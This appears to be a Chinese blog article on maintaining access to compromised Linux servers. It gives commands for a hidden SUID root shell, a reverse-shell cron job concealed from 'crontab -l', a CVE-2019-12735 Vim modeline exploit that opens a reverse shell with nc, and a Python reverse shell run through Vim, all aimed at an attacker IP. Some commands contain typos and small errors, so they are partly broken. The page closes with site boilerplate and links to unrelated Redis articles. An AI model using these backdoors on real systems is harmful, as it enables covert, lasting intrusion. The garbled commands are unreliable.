持久化:Linux利用SUID、任务计划、vim进行权限维持

这篇具有很好参考价值的文章主要介绍了持久化:Linux利用SUID、任务计划、vim进行权限维持。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

利用Linux SUID进行权限维持

利用Linux计划任务进行权限维持

利用Vim创建后门

利用CVE-2019-12735进行权限维持

使用Vim运行Python后门程序


利用Linux SUID进行权限维持

在前面我们使用Linux的SUID权限进行了权限提升,然后SUID还可以用来进行持久化

利用SUID我们可以解除低权限用户获取高权限,但是这种手段通常用在已经获取root权限的情况,攻击者在拿到root权限后,可以使用root权限留下一个SUID后门,这样就算以后权限被降级,攻击者仍然可以使用这个后门取回root权限

(1)首先我们使用root权限的用户执行下列命令,将/bin/bash复制为.exp(.是为了将该文件设置为隐藏文件)

cp /bin/bash  .exp

复制成功之后使用以下命令为.exp文件授权SUID权限:

chmod 4755 .exp

 持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

接下来我们就可以使用普通用户身份来运行该程序

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

注:允许时需要加上-p选项,目的是为了绕过Bash 2的限制

可以看到这样我们还是可以恢复到root权限的

利用Linux计划任务进行权限维持

(1)Linux任务计划

计划任务是Linux中的一个非常实用的功能,在Linux中创建任务计划文件,该文件将会存储在/var/spool/cron根目录下。

存储文件的名称会与创建计划任务时所使用的用户的用户名一致,而系统应用创建计划任务生成的计划任务会存储在/etc/cron.d目录下,在使用crontab命令创建计划任务之前,需要查看当前所使用的用户是否具有执行crontab命令的权限。可以查看/etc/cron.deny文件查看该文件中记录的用户不允许执行crontab,而在/etc/cron.allow文件中记录的用户允许使用crontab命令

(2)在Linux中创建隐匿的任务计划

首先我们使用下列命令检查任务计划服务是否正常运行:

service cron status

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

然后使用crontab -l查看当前用户在系统中创建的任务计划:

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

要知道Linux中“万物皆文件”,crontab -l命令实际上是调用"cat /var/spool/cron/crontabs 当前登录的用户名"

因此,我们也可以通过直接编辑 /var/spool/cron/crontabs/root来编辑计划任务

echo "*/1 * * * * bash -i > & /dev/tcp/192.168.159.151/10086 0>&1" /var/spool/cron/crontabs/root

(3)那么攻击者可以执行下列命令来在任务计划写入一个一分钟执行一次的会连会话的语句,以达到权限维持的效果,但是这样很容易就会被crontab -l显示出来了

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

这里可以利用cat命令存在的一个缺陷,会自动识别转义字符,比如执行命令printf "123\r" > 1.txt 执行完成后使用cat命令读取该文件 ,可以看到无法读取123,只有使用vim才能看见文件的内容:

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

那么我们就可以利用这个特性,写入一个无法被crontab -l获取的计划任务:

执行下列命令来写入任务计划,

(crontab -1;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami %100c\n") |crontab -

执行完就可以看到使用Crontab -l查看是没有内容的,使用vim查看才可以看到内容,达到了创建隐藏后门达到了权限维持的目的

利用Vim创建后门

利用CVE-2019-12735进行权限维持

利用该漏洞可以在Vim打开文件后执行指定命令,该漏洞影响低于Vim 8.1.1365的版本。

漏洞成因是在于Vim 中的modeline功能,开启该功能之后的用户可以输入一些特定的代码来控制编辑器,这个功能限制用户只能输入set命令,且命令只会在沙盒中运行,但是用户可以使用:source!指令来绕过沙盒执行命令

首先需要开启modeline功能对vimrc进行编辑,使用下列命令来开启modeline功能:

echo "set modeline" >> ~/.vimrc

随后使用下列命令将利用代码写入poc.txt

echo ':!id||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >poc.txt

其中id为我们要执行的命令,写入之后使用Vim打开poc.txt就可以看到id执行的命令结果

最后使用下列命令来反弹一个shell:

echo ':!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.151 >/tmp/f||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >shell.txt

参数意义:

  • fen: 当值为off时,所有的代码折叠都被打开,默认是off

  • fdm=expr: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠level

  • fde=assert_fails("source! %"): fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。

  • fdl=0: 折叠的程度,设置为0时会关闭所有的折叠,默认是0

  • fdt: 被关闭的折叠处显示的字符串,默认是”foldtext()”

  • ||表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a会执行成功,||后面的字符串被忽略,所以PoC到这里就执行成功了。

攻击方使用下列命令监听:

nc -l 192.168.159.151 10031

然后在服务器这里使用vim shell.txt命令,攻击者就可以拿到服务器的shell了

使用Vim运行Python后门程序

渗透过程中如果需要执行python脚本,但是系统中并没有python环境,而此时就可以利用Vim自带的插件去运行Python脚本

执行下列命令系向1.py文件写入代码:

echo 'print("hello world")' > 1.py

然后使用Vpyfile插件来运行该Python脚本

使用下列命令:

Vim  -E -c "pyfile 1.py"

持久化:Linux利用SUID、任务计划、vim进行权限维持,linux,ATT&CK,安全,linux,运维,服务器,安全,web安全,网络安全

如果想要反弹shell,可以在文件中写下如下代码:

import socket sybprocess os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.151",8888));
os.dup2(s.filno(),0);
os.dup2(s.filno(),1);
os.dup2(s.filno(),2);
p = subprocess.call(["/bin/sh","-i"]);

然后在攻击机的监听下,在服务器上执行以下命令

$(nohup vim -E -c "py3file 1.py" > /dev/null 2>&1 &) && sleep 2 && rm -f 1.py 

执行完成后就会发现反弹shell成功了文章来源地址https://www.toymoban.com/news/detail-830382.html

到了这里,关于持久化:Linux利用SUID、任务计划、vim进行权限维持的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 全面解析 Redis 持久化:RDB、AOF与混合持久化

    前言: 每次你在游戏中看到玩家排行榜,或者在音乐应用中浏览热门歌单,有没有想过这个排行榜是如何做到实时更新的?当然,依靠 Redis 即可做到。 在技术领域,我们经常听到 「键值存储」 这个词。但在 Redis 的世界里,这只是冰山一角。Redis 的对象,不仅仅是简单的数据

    2024年03月10日
    浏览(52)
  • RabbitMQ系列(8)--实现RabbitMQ队列持久化及消息持久化

    概念:在上一章文章中我们演示了消费者宕机的情况下消息没有被消费成功后会重新入队,然后再被消费,但如何保障RabbitMQ服务停掉的情况下,生产者发过来的消息不会丢失,这时候我们为了消息不会丢失就需要将队列和消息都标记为持久化。 1、实现RabbitMQ队列持久化 只需

    2024年02月09日
    浏览(28)
  • Redis 持久化-RDB和 持久化-AOF 的详细介绍以及区别

    在线文档: https://redis.io/topics/persistence RDB(Redis DataBase) AOF(Append Of File) 在指定的时间间隔内将内存中的数据集快照写入磁盘, 也就Snapshot 快照,恢复时将快照文件读到内存 RDB 及其执行流程 对上图的解读 具体流程如下: redis 客户端执行bgsave 命令或者自动触发bgsave 命令;

    2024年02月09日
    浏览(56)
  • docker持久化部署vue前端nodejs后端项目-- 01. docker以及docker-compose在window以及linux的安装

    本章节主要来讲述docker desktop 界面版本使用以及docker-compose 的安装和使用 GIT地址:添加链接描述 docker 专栏:点击此处 章节 1 docker以及docker-compose在window以及linux的安装 2 项目对应的docker-compose结构 3 怎么将docker-compose项目部署到服务器上 4 配置服务器JENKINS环境 额外篇 章节

    2024年02月04日
    浏览(39)
  • Redis 教程 - 持久化

    在 Redis 中,持久化是指将数据从内存保存到磁盘上,以便在重启或服务器故障后仍能恢复数据。Redis 提供了两种持久化方式:RDB(Redis Database)和 AOF(Append-Only File)。本教程将介绍如何实现 Redis 的持久化。 RDB 是 Redis 的默认持久化方式。它将 Redis 数据以二进制格式保存到磁

    2024年02月10日
    浏览(36)
  • redis 持久化机制

    client redis[内存] ----- 内存数据- 数据持久化--磁盘 Redis官方提供了两种不同的持久化方法来将数据存储到硬盘里面分别是: RDB 快照(Snapshot) AOF (Append Only File) 只追加日志文件 1 快照(Snapshot) 1. 特点 这种方式可以将某一时刻的所有数据都写入硬盘中,当然这也是 redis的默认开启持久

    2024年01月22日
    浏览(33)
  • Redis—持久化

    保存写操作命令到日志的持久化方式,就是Redis里的AOF持久化功能(先写入到内存,再将记录命令写到日志同步到磁盘中) Always ,这个单词的意思是「总是」,所以它的意思是每次写操作命令执行完后,同步将 AOF 日志数据写回硬盘; Everysec ,这个单词的意思是「每秒」,所

    2024年02月13日
    浏览(34)
  • RabbitMQ 持久化

      通过持久化可以 尽量 防止在RabbitMQ异常情况下(重启、关闭、宕机)的数据丢失。持久化技术是解决消息存储到队列后的丢失问题,但是通过持久化并不能完全保证消息不丢失。   持久化技术可以分为交换机持久化、队列持久化以及消息持久化,它们的实现方案和实

    2024年02月12日
    浏览(30)
  • Sentinel 规则持久化

    需要大量修改源码,很麻烦,下面也只是修改了一小部分 阿里有一个收费的sentinel云服务,开源sentinel没有实现最佳版本可能就是为了给收费版让路吧 修改OrderService,让其监听Nacos中的sentinel规则配置。 具体步骤如下: 1.引入依赖 在order-service中引入sentinel监听nacos的依赖:

    2024年02月12日
    浏览(31)
  • redis-持久化-1

    RDB(Redis DataBase) AOF(Append Of File) 在指定的时间间隔内将内存中的数据集快照写入磁盘, 也就是行话讲的Snapshot快照,它恢复时是将快照文件直接读到内存里 Redis会单独创建(fork)一个子进程来进行持久化,会先将数据写入到 一个临时文件中,待持久化过程都结束了,再

    2024年01月25日
    浏览(25)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包